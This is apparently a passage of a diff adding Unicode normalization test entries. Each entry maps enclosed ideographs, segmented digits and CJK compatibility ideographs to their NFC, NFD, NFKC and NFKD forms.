+{ source: [0x1F235], NFC: [0x1F235], NFD: [0x1F235], NFKC: [0x6E80], NFKD: [0x6E80] },
+{ source: [0x1F236], NFC: [0x1F236], NFD: [0x1F236], NFKC: [0x6709], NFKD: [0x6709] },
+{ source: [0x1F237], NFC: [0x1F237], NFD: [0x1F237], NFKC: [0x6708], NFKD: [0x6708] },
+{ source: [0x1F238], NFC: [0x1F238], NFD: [0x1F238], NFKC: [0x7533], NFKD: [0x7533] },
+{ source: [0x1F239], NFC: [0x1F239], NFD: [0x1F239], NFKC: [0x5272], NFKD: [0x5272] },
+{ source: [0x1F23A], NFC: [0x1F23A], NFD: [0x1F23A], NFKC: [0x55B6], NFKD: [0x55B6] },
+{ source: [0x1F23B], NFC: [0x1F23B], NFD: [0x1F23B], NFKC: [0x914D], NFKD: [0x914D] },
+{ source: [0x1F240], NFC: [0x1F240], NFD: [0x1F240], NFKC: [0x3014, 0x672C, 0x3015], NFKD: [0x3014, 0x672C, 0x3015] },
+{ source: [0x1F241], NFC: [0x1F241], NFD: [0x1F241], NFKC: [0x3014, 0x4E09, 0x3015], NFKD: [0x3014, 0x4E09, 0x3015] },
+{ source: [0x1F242], NFC: [0x1F242], NFD: [0x1F242], NFKC: [0x3014, 0x4E8C, 0x3015], NFKD: [0x3014, 0x4E8C, 0x3015] },
+{ source: [0x1F243], NFC: [0x1F243], NFD: [0x1F243], NFKC: [0x3014, 0x5B89, 0x3015], NFKD: [0x3014, 0x5B89, 0x3015] },
+{ source: [0x1F244], NFC: [0x1F244], NFD: [0x1F244], NFKC: [0x3014, 0x70B9, 0x3015], NFKD: [0x3014, 0x70B9, 0x3015] },
+{ source: [0x1F245], NFC: [0x1F245], NFD: [0x1F245], NFKC: [0x3014, 0x6253, 0x3015], NFKD: [0x3014, 0x6253, 0x3015] },
+{ source: [0x1F246], NFC: [0x1F246], NFD: [0x1F246], NFKC: [0x3014, 0x76D7, 0x3015], NFKD: [0x3014, 0x76D7, 0x3015] },
+{ source: [0x1F247], NFC: [0x1F247], NFD: [0x1F247], NFKC: [0x3014, 0x52DD, 0x3015], NFKD: [0x3014, 0x52DD, 0x3015] },
+{ source: [0x1F248], NFC: [0x1F248], NFD: [0x1F248], NFKC: [0x3014, 0x6557, 0x3015], NFKD: [0x3014, 0x6557, 0x3015] },
+{ source: [0x1F250], NFC: [0x1F250], NFD: [0x1F250], NFKC: [0x5F97], NFKD: [0x5F97] },
+{ source: [0x1F251], NFC: [0x1F251], NFD: [0x1F251], NFKC: [0x53EF], NFKD: [0x53EF] },
+{ source: [0x1FBF0], NFC: [0x1FBF0], NFD: [0x1FBF0], NFKC: [0x0030], NFKD: [0x0030] },
+{ source: [0x1FBF1], NFC: [0x1FBF1], NFD: [0x1FBF1], NFKC: [0x0031], NFKD: [0x0031] },
+{ source: [0x1FBF2], NFC: [0x1FBF2], NFD: [0x1FBF2], NFKC: [0x0032], NFKD: [0x0032] },
+{ source: [0x1FBF3], NFC: [0x1FBF3], NFD: [0x1FBF3], NFKC: [0x0033], NFKD: [0x0033] },
+{ source: [0x1FBF4], NFC: [0x1FBF4], NFD: [0x1FBF4], NFKC: [0x0034], NFKD: [0x0034] },
+{ source: [0x1FBF5], NFC: [0x1FBF5], NFD: [0x1FBF5], NFKC: [0x0035], NFKD: [0x0035] },
+{ source: [0x1FBF6], NFC: [0x1FBF6], NFD: [0x1FBF6], NFKC: [0x0036], NFKD: [0x0036] },
+{ source: [0x1FBF7], NFC: [0x1FBF7], NFD: [0x1FBF7], NFKC: [0x0037], NFKD: [0x0037] },
+{ source: [0x1FBF8], NFC: [0x1FBF8], NFD: [0x1FBF8], NFKC: [0x0038], NFKD: [0x0038] },
+{ source: [0x1FBF9], NFC: [0x1FBF9], NFD: [0x1FBF9], NFKC: [0x0039], NFKD: [0x0039] },
+{ source: [0x2F800], NFC: [0x4E3D], NFD: [0x4E3D], NFKC: [0x4E3D], NFKD: [0x4E3D] },
+{ source: [0x2F801], NFC: [0x4E38], NFD: [0x4E38], NFKC: [0x4E38], NFKD: [0x4E38] },
+{ source: [0x2F802], NFC: [0x4E41], NFD: [0x4E41], NFKC: [0x4E41], NFKD: [0x4E41] },
+{ source: [0x2F803], NFC: [0x20122], NFD: [0x20122], NFKC: [0x20122], NFKD: [0x20122] },
+{ source: [0x2F804], NFC: [0x4F60], NFD: [0x4F60], NFKC: [0x4F60], NFKD: [0x4F60] },
+{ source: [0x2F805], NFC: [0x4FAE], NFD: [0x4FAE], NFKC: [0x4FAE], NFKD: [0x4FAE] },
+{ source: [0x2F806], NFC: [0x4FBB], NFD: [0x4FBB], NFKC: [0x4FBB], NFKD: [0x4FBB] },
+{ source: [0x2F807], NFC: [0x5002], NFD: [0x5002], NFKC: [0x5002], NFKD: [0x5002] },
+{ source: [0x2F808], NFC: [0x507A], NFD: [0x507A], NFKC: [0x507A], NFKD: [0x507A] },
+{ source: [0x2F809], NFC: [0x5099], NFD: [0x5099], NFKC: [0x5099], NFKD: [0x5099] },
+{ source: [0x2F80A], NFC: [0x50E7], NFD: [0x50E7], NFKC: [0x50E7], NFKD: [0x50E7] },
+{ source: [0x2F80B], NFC: [0x50CF], NFD: [0x50CF], NFKC: [0x50CF], NFKD: [0x50CF] },
+{ source: [0x2F80C], NFC: [0x349E], NFD: [0x349E], NFKC: [0x349E], NFKD: [0x349E] },
+{ source: [0x2F80D], NFC: [0x2063A], NFD: [0x2063A], NFKC: [0x2063A], NFKD: [0x2063A] },
+{ source: [0x2F80E], NFC: [0x514D], NFD: [0x514D], NFKC: [0x514D], NFKD: [0x514D] },
+{ source: [0x2F80F], NFC: [0x5154], NFD: [0x5154], NFKC: [0x5154], NFKD: [0x5154] },
+{ source: [0x2F810], NFC: [0x5164], NFD: [0x5164], NFKC: [0x5164], NFKD: [0x5164] },
+{ source: [0x2F811], NFC: [0x5177], NFD: [0x5177], NFKC: [0x5177], NFKD: [0x5177] },
+{ source: [0x2F812], NFC: [0x2051C], NFD: [0x2051C], NFKC: [0x2051C], NFKD: [0x2051C] },
+{ source: [0x2F813], NFC: [0x34B9], NFD: [0x34B9], NFKC: [0x34B9], NFKD: [0x34B9] },
+{ source: [0x2F814], NFC: [0x5167], NFD: [0x5167], NFKC: [0x5167], NFKD: [0x5167] },
+{ source: [0x2F815], NFC: [0x518D], NFD: [0x518D], NFKC: [0x518D], NFKD: [0x518D] },
+{ source: [0x2F816], NFC: [0x2054B], NFD: [0x2054B], NFKC: [0x2054B], NFKD: [0x2054B] },
+{ source: [0x2F817], NFC: [0x5197], NFD: [0x5197], NFKC: [0x5197], NFKD: [0x5197] },
+{ source: [0x2F818], NFC: [0x51A4], NFD: [0x51A4], NFKC: [0x51A4], NFKD: [0x51A4] },
+{ source: [0x2F819], NFC: [0x4ECC], NFD: [0x4ECC], NFKC: [0x4ECC], NFKD: [0x4ECC] },
+{ source: [0x2F81A], NFC: [0x51AC], NFD: [0x51AC], NFKC: [0x51AC], NFKD: [0x51AC] },
+{ source: [0x2F81B], NFC: [0x51B5], NFD: [0x51B5], NFKC: [0x51B5], NFKD: [0x51B5] },
+{ source: [0x2F81C], NFC: [0x291DF], NFD: [0x291DF], NFKC: [0x291DF], NFKD: [0x291DF] },
+{ source: [0x2F81D], NFC: [0x51F5], NFD: [0x51F5], NFKC: [0x51F5], NFKD: [0x51F5] },
+{ source: [0x2F81E], NFC: [0x5203], NFD: [0x5203], NFKC: [0x5203], NFKD: [0x5203] },
+{ source: [0x2F81F], NFC: [0x34DF], NFD: [0x34DF], NFKC: [0x34DF], NFKD: [0x34DF] },
+{ source: [0x2F820], NFC: [0x523B], NFD: [0x523B], NFKC: [0x523B], NFKD: [0x523B] },
+{ source: [0x2F821], NFC: [0x5246], NFD: [0x5246], NFKC: [0x5246], NFKD: [0x5246] },
+{ source: [0x2F822], NFC: [0x5272], NFD: [0x5272], NFKC: [0x5272], NFKD: [0x5272] },
+{ source: [0x2F823], NFC: [0x5277], NFD: [0x5277], NFKC: [0x5277], NFKD: [0x5277] },
+{ source: [0x2F824], NFC: [0x3515], NFD: [0x3515], NFKC: [0x3515], NFKD: [0x3515] },
+{ source: [0x2F825], NFC: [0x52C7], NFD: [0x52C7], NFKC: [0x52C7], NFKD: [0x52C7] },
+{ source: [0x2F826], NFC: [0x52C9], NFD: [0x52C9], NFKC: [0x52C9], NFKD: [0x52C9] },
+{ source: [0x2F827], NFC: [0x52E4], NFD: [0x52E4], NFKC: [0x52E4], NFKD: [0x52E4] },
+{ source: [0x2F828], NFC: [0x52FA], NFD: [0x52FA], NFKC: [0x52FA], NFKD: [0x52FA] },
+{ source: [0x2F829], NFC: [0x5305], NFD: [0x5305], NFKC: [0x5305], NFKD: [0x5305] },
+{ source: [0x2F82A], NFC: [0x5306], NFD: [0x5306], NFKC: [0x5306], NFKD: [0x5306] },
+{ source: [0x2F82B], NFC: [0x5317], NFD: [0x5317], NFKC: [0x5317], NFKD: [0x5317] },
+{ source: [0x2F82C], NFC: [0x5349], NFD: [0x5349], NFKC: [0x5349], NFKD: [0x5349] },
+{ source: [0x2F82D], NFC: [0x5351], NFD: [0x5351], NFKC: [0x5351], NFKD: [0x5351] },
+{ source: [0x2F82E], NFC: [0x535A], NFD: [0x535A], NFKC: [0x535A], NFKD: [0x535A] },
+{ source: [0x2F82F], NFC: [0x5373], NFD: [0x5373], NFKC: [0x5373], NFKD: [0x5373] },
+{ source: [0x2F830], NFC: [0x537D], NFD: [0x537D], NFKC: [0x537D], NFKD: [0x537D] },
+{ source: [0x2F831], NFC: [0x537F], NFD: [0x537F], NFKC: [0x537F], NFKD: [0x537F] },
+{ source: [0x2F832], NFC: [0x537F], NFD: [0x537F], NFKC: [0x537F], NFKD: [0x537F] },
+{ source: [0x2F833], NFC: [0x537F], NFD: [0x537F], NFKC: [0x537F], NFKD: [0x537F] },
+{ source: [0x2F834], NFC: [0x20A2C], NFD: [0x20A2C], NFKC: [0x20A2C], NFKD: [0x20A2C] },
+{ source: [0x2F835], NFC: [0x7070], NFD: [0x7070], NFKC: [0x7070], NFKD: [0x7070] },
+{ source: [0x2F836], NFC: [0x53CA], NFD: [0x53CA], NFKC: [0x53CA], NFKD: [0x53CA] },
+{ source: [0x2F837], NFC: [0x53DF], NFD: [0x53DF], NFKC: [0x53DF], NFKD: [0x53DF] },
+{ source: [0x2F838], NFC: [0x20B63], NFD: [0x20B63], NFKC: [0x20B63], NFKD: [0x20B63] },
+{ source: [0x2F839], NFC: [0x53EB], NFD: [0x53EB], NFKC: [0x53EB], NFKD: [0x53EB] },
+{ source: [0x2F83A], NFC: [0x53F1], NFD: [0x53F1], NFKC: [0x53F1], NFKD: [0x53F1] },
+{ source: [0x2F83B], NFC: [0x5406], NFD: [0x5406], NFKC: [0x5406], NFKD: [0x5406] },
+{ source: [0x2F83C], NFC: [0x549E], NFD: [0x549E], NFKC: [0x549E], NFKD: [0x549E] },
+{ source: [0x2F83D], NFC: [0x5438], NFD: [0x5438], NFKC: [0x5438], NFKD: [0x5438] },
+{ source: [0x2F83E], NFC: [0x5448], NFD: [0x5448], NFKC: [0x5448], NFKD: [0x5448] },
+{ source: [0x2F83F], NFC: [0x5468], NFD: [0x5468], NFKC: [0x5468], NFKD: [0x5468] },
+{ source: [0x2F840], NFC: [0x54A2], NFD: [0x54A2], NFKC: [0x54A2], NFKD: [0x54A2] },
+{ source: [0x2F841], NFC: [0x54F6], NFD: [0x54F6], NFKC: [0x54F6], NFKD: [0x54F6] },
+{ source: [0x2F842], NFC: [0x5510], NFD: [0x5510], NFKC: [0x5510], NFKD: [0x5510] },
+{ source: [0x2F843], NFC: [0x5553], NFD: [0x5553], NFKC: [0x5553], NFKD: [0x5553] },
+{ source: [0x2F844], NFC: [0x5563], NFD: [0x5563], NFKC: [0x5563], NFKD: [0x5563] },
+{ source: [0x2F845], NFC: [0x5584], NFD: [0x5584], NFKC: [0x5584], NFKD: [0x5584] },
+{ source: [0x2F846], NFC: [0x5584], NFD: [0x5584], NFKC: [0x5584], NFKD: [0x5584] },
+{ source: [0x2F847], NFC: [0x5599], NFD: [0x5599], NFKC: [0x5599], NFKD: [0x5599] },
+{ source: [0x2F848], NFC: [0x55AB], NFD: [0x55AB], NFKC: [0x55AB], NFKD: [0x55AB] },
+{ source: [0x2F849], NFC: [0x55B3], NFD: [0x55B3], NFKC: [0x55B3], NFKD: [0x55B3] },
+{ source: [0x2F84A], NFC: [0x55C2], NFD: [0x55C2], NFKC: [0x55C2], NFKD: [0x55C2] },
+{ source: [0x2F84B], NFC: [0x5716], NFD: [0x5716], NFKC: [0x5716], NFKD: [0x5716] },
+{ source: [0x2F84C], NFC: [0x5606], NFD: [0x5606], NFKC: [0x5606], NFKD: [0x5606] },
+{ source: [0x2F84D], NFC: [0x5717], NFD: [0x5717], NFKC: [0x5717], NFKD: [0x5717] },
+{ source: [0x2F84E], NFC: [0x5651], NFD: [0x5651], NFKC: [0x5651], NFKD: [0x5651] },
+{ source: [0x2F84F], NFC: [0x5674], NFD: [0x5674], NFKC: [0x5674], NFKD: [0x5674] },
+{ source: [0x2F850], NFC: [0x5207], NFD: [0x5207], NFKC: [0x5207], NFKD: [0x5207] },
+{ source: [0x2F851], NFC: [0x58EE], NFD: [0x58EE], NFKC: [0x58EE], NFKD: [0x58EE] },
+{ source: [0x2F852], NFC: [0x57CE], NFD: [0x57CE], NFKC: [0x57CE], NFKD: [0x57CE] },
+{ source: [0x2F853], NFC: [0x57F4], NFD: [0x57F4], NFKC: [0x57F4], NFKD: [0x57F4] },
+{ source: [0x2F854], NFC: [0x580D], NFD: [0x580D], NFKC: [0x580D], NFKD: [0x580D] },
+{ source: [0x2F855], NFC: [0x578B], NFD: [0x578B], NFKC: [0x578B], NFKD: [0x578B] },
+{ source: [0x2F856], NFC: [0x5832], NFD: [0x5832], NFKC: [0x5832], NFKD: [0x5832] },
+{ source: [0x2F857], NFC: [0x5831], NFD: [0x5831], NFKC: [0x5831], NFKD: [0x5831] },
+{ source: [0x2F858], NFC: [0x58AC], NFD: [0x58AC], NFKC: [0x58AC], NFKD: [0x58AC] },
+{ source: [0x2F859], NFC: [0x214E4], NFD: [0x214E4], NFKC: [0x214E4], NFKD: [0x214E4] },
+{ source: [0x2F85A], NFC: [0x58F2], NFD: [0x58F2], NFKC: [0x58F2], NFKD: [0x58F2] },
+{ source: [0x2F85B], NFC: [0x58F7], NFD: [0x58F7], NFKC: [0x58F7], NFKD: [0x58F7] },
+{ source: [0x2F85C], NFC: [0x5906], NFD: [0x5906], NFKC: [0x5906], NFKD: [0x5906] },
+{ source: [0x2F85D], NFC: [0x591A], NFD: [0x591A], NFKC: [0x591A], NFKD: [0x591A] },
+{ source: [0x2F85E], NFC: [0x5922], NFD: [0x5922], NFKC: [0x5922], NFKD: [0x5922] },
+{ source: [0x2F85F], NFC: [0x5962], NFD: [0x5962], NFKC: [0x5962], NFKD: [0x5962] },
+{ source: [0x2F860], NFC: [0x216A8], NFD: [0x216A8], NFKC: [0x216A8], NFKD: [0x216A8] },
+{ source: [0x2F861], NFC: [0x216EA], NFD: [0x216EA], NFKC: [0x216EA], NFKD: [0x216EA] },
+{ source: [0x2F862], NFC: [0x59EC], NFD: [0x59EC], NFKC: [0x59EC], NFKD: [0x59EC] },
+{ source: [0x2F863], NFC: [0x5A1B], NFD: [0x5A1B], NFKC: [0x5A1B], NFKD: [0x5A1B] },
+{ source: [0x2F864], NFC: [0x5A27], NFD: [0x5A27], NFKC: [0x5A27], NFKD: [0x5A27] },
+{ source: [0x2F865], NFC: [0x59D8], NFD: [0x59D8], NFKC: [0x59D8], NFKD: [0x59D8] },
+{ source: [0x2F866], NFC: [0x5A66], NFD: [0x5A66], NFKC: [0x5A66], NFKD: [0x5A66] },
+{ source: [0x2F867], NFC: [0x36EE], NFD: [0x36EE], NFKC: [0x36EE], NFKD: [0x36EE] },
+{ source: [0x2F868], NFC: [0x36FC], NFD: [0x36FC], NFKC: [0x36FC], NFKD: [0x36FC] },
+{ source: [0x2F869], NFC: [0x5B08], NFD: [0x5B08], NFKC: [0x5B08], NFKD: [0x5B08] },
+{ source: [0x2F86A], NFC: [0x5B3E], NFD: [0x5B3E], NFKC: [0x5B3E], NFKD: [0x5B3E] },
+{ source: [0x2F86B], NFC: [0x5B3E], NFD: [0x5B3E], NFKC: [0x5B3E], NFKD: [0x5B3E] },
+{ source: [0x2F86C], NFC: [0x219C8], NFD: [0x219C8], NFKC: [0x219C8], NFKD: [0x219C8] },
+{ source: [0x2F86D], NFC: [0x5BC3], NFD: [0x5BC3], NFKC: [0x5BC3], NFKD: [0x5BC3] },
+{ source: [0x2F86E], NFC: [0x5BD8], NFD: [0x5BD8], NFKC: [0x5BD8], NFKD: [0x5BD8] },
+{ source: [0x2F86F], NFC: [0x5BE7], NFD: [0x5BE7], NFKC: [0x5BE7], NFKD: [0x5BE7] },
+{ source: [0x2F870], NFC: [0x5BF3], NFD: [0x5BF3], NFKC: [0x5BF3], NFKD: [0x5BF3] },
+{ source: [0x2F871], NFC: [0x21B18], NFD: [0x21B18], NFKC: [0x21B18], NFKD: [0x21B18] },
+{ source: [0x2F872], NFC: [0x5BFF], NFD: [0x5BFF], NFKC: [0x5BFF], NFKD: [0x5BFF] },
+{ source: [0x2F873], NFC: [0x5C06], NFD: [0x5C06], NFKC: [0x5C06], NFKD: [0x5C06] },
+{ source: [0x2F874], NFC: [0x5F53], NFD: [0x5F53], NFKC: [0x5F53], NFKD: [0x5F53] },
+{ source: [0x2F875], NFC: [0x5C22], NFD: [0x5C22], NFKC: [0x5C22], NFKD: [0x5C22] },
+{ source: [0x2F876], NFC: [0x3781], NFD: [0x3781], NFKC: [0x3781], NFKD: [0x3781] },
+{ source: [0x2F877], NFC: [0x5C60], NFD: [0x5C60], NFKC: [0x5C60], NFKD: [0x5C60] },
+{ source: [0x2F878], NFC: [0x5C6E], NFD: [0x5C6E], NFKC: [0x5C6E], NFKD: [0x5C6E] },
+{ source: [0x2F879], NFC: [0x5CC0], NFD: [0x5CC0], NFKC: [0x5CC0], NFKD: [0x5CC0] },
+{ source: [0x2F87A], NFC: [0x5C8D], NFD: [0x5C8D], NFKC: [0x5C8D], NFKD: [0x5C8D] },
+{ source: [0x2F87B], NFC: [0x21DE4], NFD: [0x21DE4], NFKC: [0x21DE4], NFKD: [0x21DE4] },
+{ source: [0x2F87C], NFC: [0x5D43], NFD: [0x5D43], NFKC: [0x5D43], NFKD: [0x5D43] },
+{ source: [0x2F87D], NFC: [0x21DE6], NFD: [0x21DE6], NFKC: [0x21DE6], NFKD: [0x21DE6] },
+{ source: [0x2F87E], NFC: [0x5D6E], NFD: [0x5D6E], NFKC: [0x5D6E], NFKD: [0x5D6E] },
+{ source: [0x2F87F], NFC: [0x5D6B], NFD: [0x5D6B], NFKC: [0x5D6B], NFKD: [0x5D6B] },
+{ source: [0x2F880], NFC: [0x5D7C], NFD: [0x5D7C], NFKC: [0x5D7C], NFKD: [0x5D7C] },
+{ source: [0x2F881], NFC: [0x5DE1], NFD: [0x5DE1], NFKC: [0x5DE1], NFKD: [0x5DE1] },
+{ source: [0x2F882], NFC: [0x5DE2], NFD: [0x5DE2], NFKC: [0x5DE2], NFKD: [0x5DE2] },
+{ source: [0x2F883], NFC: [0x382F], NFD: [0x382F], NFKC: [0x382F], NFKD: [0x382F] },
+{ source: [0x2F884], NFC: [0x5DFD], NFD: [0x5DFD], NFKC: [0x5DFD], NFKD: [0x5DFD] },
+{ source: [0x2F885], NFC: [0x5E28], NFD: [0x5E28], NFKC: [0x5E28], NFKD: [0x5E28] },
+{ source: [0x2F886], NFC: [0x5E3D], NFD: [0x5E3D], NFKC: [0x5E3D], NFKD: [0x5E3D] },
+{ source: [0x2F887], NFC: [0x5E69], NFD: [0x5E69], NFKC: [0x5E69], NFKD: [0x5E69] },
+{ source: [0x2F888], NFC: [0x3862], NFD: [0x3862], NFKC: [0x3862], NFKD: [0x3862] },
+{ source: [0x2F889], NFC: [0x22183], NFD: [0x22183], NFKC: [0x22183], NFKD: [0x22183] },
+{ source: [0x2F88A], NFC: [0x387C], NFD: [0x387C], NFKC: [0x387C], NFKD: [0x387C] },
+{ source: [0x2F88B], NFC: [0x5EB0], NFD: [0x5EB0], NFKC: [0x5EB0], NFKD: [0x5EB0] },
+{ source: [0x2F88C], NFC: [0x5EB3], NFD: [0x5EB3], NFKC: [0x5EB3], NFKD: [0x5EB3] },
+{ source: [0x2F88D], NFC: [0x5EB6], NFD: [0x5EB6], NFKC: [0x5EB6], NFKD: [0x5EB6] },
+{ source: [0x2F88E], NFC: [0x5ECA], NFD: [0x5ECA], NFKC: [0x5ECA], NFKD: [0x5ECA] },
+{ source: [0x2F88F], NFC: [0x2A392], NFD: [0x2A392], NFKC: [0x2A392], NFKD: [0x2A392] },
+{ source: [0x2F890], NFC: [0x5EFE], NFD: [0x5EFE], NFKC: [0x5EFE], NFKD: [0x5EFE] },
+{ source: [0x2F891], NFC: [0x22331], NFD: [0x22331], NFKC: [0x22331], NFKD: [0x22331] },
+{ source: [0x2F892], NFC: [0x22331], NFD: [0x22331], NFKC: [0x22331], NFKD: [0x22331] },
+{ source: [0x2F893], NFC: [0x8201], NFD: [0x8201], NFKC: [0x8201], NFKD: [0x8201] },
+{ source: [0x2F894], NFC: [0x5F22], NFD: [0x5F22], NFKC: [0x5F22], NFKD: [0x5F22] },
+{ source: [0x2F895], NFC: [0x5F22], NFD: [0x5F22], NFKC: [0x5F22], NFKD: [0x5F22] },
+{ source: [0x2F896], NFC: [0x38C7], NFD: [0x38C7], NFKC: [0x38C7], NFKD: [0x38C7] },
+{ source: [0x2F897], NFC: [0x232B8], NFD: [0x232B8], NFKC: [0x232B8], NFKD: [0x232B8] },
+{ source: [0x2F898], NFC: [0x261DA], NFD: [0x261DA], NFKC: [0x261DA], NFKD: [0x261DA] },
+{ source: [0x2F899], NFC: [0x5F62], NFD: [0x5F62], NFKC: [0x5F62], NFKD: [0x5F62] },
+{ source: [0x2F89A], NFC: [0x5F6B], NFD: [0x5F6B], NFKC: [0x5F6B], NFKD: [0x5F6B] },
+{ source: [0x2F89B], NFC: [0x38E3], NFD: [0x38E3], NFKC: [0x38E3], NFKD: [0x38E3] },
+{ source: [0x2F89C], NFC: [0x5F9A], NFD: [0x5F9A], NFKC: [0x5F9A], NFKD: [0x5F9A] },
+{ source: [0x2F89D], NFC: [0x5FCD], NFD: [0x5FCD], NFKC: [0x5FCD], NFKD: [0x5FCD] },
+{ source: [0x2F89E], NFC: [0x5FD7], NFD: [0x5FD7], NFKC: [0x5FD7], NFKD: [0x5FD7] },
+{ source: [0x2F89F], NFC: [0x5FF9], NFD: [0x5FF9], NFKC: [0x5FF9], NFKD: [0x5FF9] },
+{ source: [0x2F8A0], NFC: [0x6081], NFD: [0x6081], NFKC: [0x6081], NFKD: [0x6081] },
+{ source: [0x2F8A1], NFC: [0x393A], NFD: [0x393A], NFKC: [0x393A], NFKD: [0x393A] },
+{ source: [0x2F8A2], NFC: [0x391C], NFD: [0x391C], NFKC: [0x391C], NFKD: [0x391C] },
+{ source: [0x2F8A3], NFC: [0x6094], NFD: [0x6094], NFKC: [0x6094], NFKD: [0x6094] },
+{ source: [0x2F8A4], NFC: [0x226D4], NFD: [0x226D4], NFKC: [0x226D4], NFKD: [0x226D4] },
+{ source: [0x2F8A5], NFC: [0x60C7], NFD: [0x60C7], NFKC: [0x60C7], NFKD: [0x60C7] },
+{ source: [0x2F8A6], NFC: [0x6148], NFD: [0x6148], NFKC: [0x6148], NFKD: [0x6148] },
+{ source: [0x2F8A7], NFC: [0x614C], NFD: [0x614C], NFKC: [0x614C], NFKD: [0x614C] },
+{ source: [0x2F8A8], NFC: [0x614E], NFD: [0x614E], NFKC: [0x614E], NFKD: [0x614E] },
+{ source: [0x2F8A9], NFC: [0x614C], NFD: [0x614C], NFKC: [0x614C], NFKD: [0x614C] },
+{ source: [0x2F8AA], NFC: [0x617A], NFD: [0x617A], NFKC: [0x617A], NFKD: [0x617A] },
+{ source: [0x2F8AB], NFC: [0x618E], NFD: [0x618E], NFKC: [0x618E], NFKD: [0x618E] },
+{ source: [0x2F8AC], NFC: [0x61B2], NFD: [0x61B2], NFKC: [0x61B2], NFKD: [0x61B2] },
+{ source: [0x2F8AD], NFC: [0x61A4], NFD: [0x61A4], NFKC: [0x61A4], NFKD: [0x61A4] },
+{ source: [0x2F8AE], NFC: [0x61AF], NFD: [0x61AF], NFKC: [0x61AF], NFKD: [0x61AF] },
+{ source: [0x2F8AF], NFC: [0x61DE], NFD: [0x61DE], NFKC: [0x61DE], NFKD: [0x61DE] },
+{ source: [0x2F8B0], NFC: [0x61F2], NFD: [0x61F2], NFKC: [0x61F2], NFKD: [0x61F2] },
+{ source: [0x2F8B1], NFC: [0x61F6], NFD: [0x61F6], NFKC: [0x61F6], NFKD: [0x61F6] },
+{ source: [0x2F8B2], NFC: [0x6210], NFD: [0x6210], NFKC: [0x6210], NFKD: [0x6210] },
+{ source: [0x2F8B3], NFC: [0x621B], NFD: [0x621B], NFKC: [0x621B], NFKD: [0x621B] },
+{ source: [0x2F8B4], NFC: [0x625D], NFD: [0x625D], NFKC: [0x625D], NFKD: [0x625D] },
+{ source: [0x2F8B5], NFC: [0x62B1], NFD: [0x62B1], NFKC: [0x62B1], NFKD: [0x62B1] },
+{ source: [0x2F8B6], NFC: [0x62D4], NFD: [0x62D4], NFKC: [0x62D4], NFKD: [0x62D4] },
+{ source: [0x2F8B7], NFC: [0x6350], NFD: [0x6350], NFKC: [0x6350], NFKD: [0x6350] },
+{ source: [0x2F8B8], NFC: [0x22B0C], NFD: [0x22B0C], NFKC: [0x22B0C], NFKD: [0x22B0C] },
+{ source: [0x2F8B9], NFC: [0x633D], NFD: [0x633D], NFKC: [0x633D], NFKD: [0x633D] },
+{ source: [0x2F8BA], NFC: [0x62FC], NFD: [0x62FC], NFKC: [0x62FC], NFKD: [0x62FC] },
+{ source: [0x2F8BB], NFC: [0x6368], NFD: [0x6368], NFKC: [0x6368], NFKD: [0x6368] },
+{ source: [0x2F8BC], NFC: [0x6383], NFD: [0x6383], NFKC: [0x6383], NFKD: [0x6383] },
+{ source: [0x2F8BD], NFC: [0x63E4], NFD: [0x63E4], NFKC: [0x63E4], NFKD: [0x63E4] },
+{ source: [0x2F8BE], NFC: [0x22BF1], NFD: [0x22BF1], NFKC: [0x22BF1], NFKD: [0x22BF1] },
+{ source: [0x2F8BF], NFC: [0x6422], NFD: [0x6422], NFKC: [0x6422], NFKD: [0x6422] },
+{ source: [0x2F8C0], NFC: [0x63C5], NFD: [0x63C5], NFKC: [0x63C5], NFKD: [0x63C5] },
+{ source: [0x2F8C1], NFC: [0x63A9], NFD: [0x63A9], NFKC: [0x63A9], NFKD: [0x63A9] },
+{ source: [0x2F8C2], NFC: [0x3A2E], NFD: [0x3A2E], NFKC: [0x3A2E], NFKD: [0x3A2E] },
+{ source: [0x2F8C3], NFC: [0x6469], NFD: [0x6469], NFKC: [0x6469], NFKD: [0x6469] },
+{ source: [0x2F8C4], NFC: [0x647E], NFD: [0x647E], NFKC: [0x647E], NFKD: [0x647E] },
+{ source: [0x2F8C5], NFC: [0x649D], NFD: [0x649D], NFKC: [0x649D], NFKD: [0x649D] },
+{ source: [0x2F8C6], NFC: [0x6477], NFD: [0x6477], NFKC: [0x6477], NFKD: [0x6477] },
+{ source: [0x2F8C7], NFC: [0x3A6C], NFD: [0x3A6C], NFKC: [0x3A6C], NFKD: [0x3A6C] },
+{ source: [0x2F8C8], NFC: [0x654F], NFD: [0x654F], NFKC: [0x654F], NFKD: [0x654F] },
+{ source: [0x2F8C9], NFC: [0x656C], NFD: [0x656C], NFKC: [0x656C], NFKD: [0x656C] },
+{ source: [0x2F8CA], NFC: [0x2300A], NFD: [0x2300A], NFKC: [0x2300A], NFKD: [0x2300A] },
+{ source: [0x2F8CB], NFC: [0x65E3], NFD: [0x65E3], NFKC: [0x65E3], NFKD: [0x65E3] },
+{ source: [0x2F8CC], NFC: [0x66F8], NFD: [0x66F8], NFKC: [0x66F8], NFKD: [0x66F8] },
+{ source: [0x2F8CD], NFC: [0x6649], NFD: [0x6649], NFKC: [0x6649], NFKD: [0x6649] },
+{ source: [0x2F8CE], NFC: [0x3B19], NFD: [0x3B19], NFKC: [0x3B19], NFKD: [0x3B19] },
+{ source: [0x2F8CF], NFC: [0x6691], NFD: [0x6691], NFKC: [0x6691], NFKD: [0x6691] },
+{ source: [0x2F8D0], NFC: [0x3B08], NFD: [0x3B08], NFKC: [0x3B08], NFKD: [0x3B08] },
+{ source: [0x2F8D1], NFC: [0x3AE4], NFD: [0x3AE4], NFKC: [0x3AE4], NFKD: [0x3AE4] },
+{ source: [0x2F8D2], NFC: [0x5192], NFD: [0x5192], NFKC: [0x5192], NFKD: [0x5192] },
+{ source: [0x2F8D3], NFC: [0x5195], NFD: [0x5195], NFKC: [0x5195], NFKD: [0x5195] },
+{ source: [0x2F8D4], NFC: [0x6700], NFD: [0x6700], NFKC: [0x6700], NFKD: [0x6700] },
+{ source: [0x2F8D5], NFC: [0x669C], NFD: [0x669C], NFKC: [0x669C], NFKD: [0x669C] },
+{ source: [0x2F8D6], NFC: [0x80AD], NFD: [0x80AD], NFKC: [0x80AD], NFKD: [0x80AD] },
+{ source: [0x2F8D7], NFC: [0x43D9], NFD: [0x43D9], NFKC: [0x43D9], NFKD: [0x43D9] },
+{ source: [0x2F8D8], NFC: [0x6717], NFD: [0x6717], NFKC: [0x6717], NFKD: [0x6717] },
+{ source: [0x2F8D9], NFC: [0x671B], NFD: [0x671B], NFKC: [0x671B], NFKD: [0x671B] },
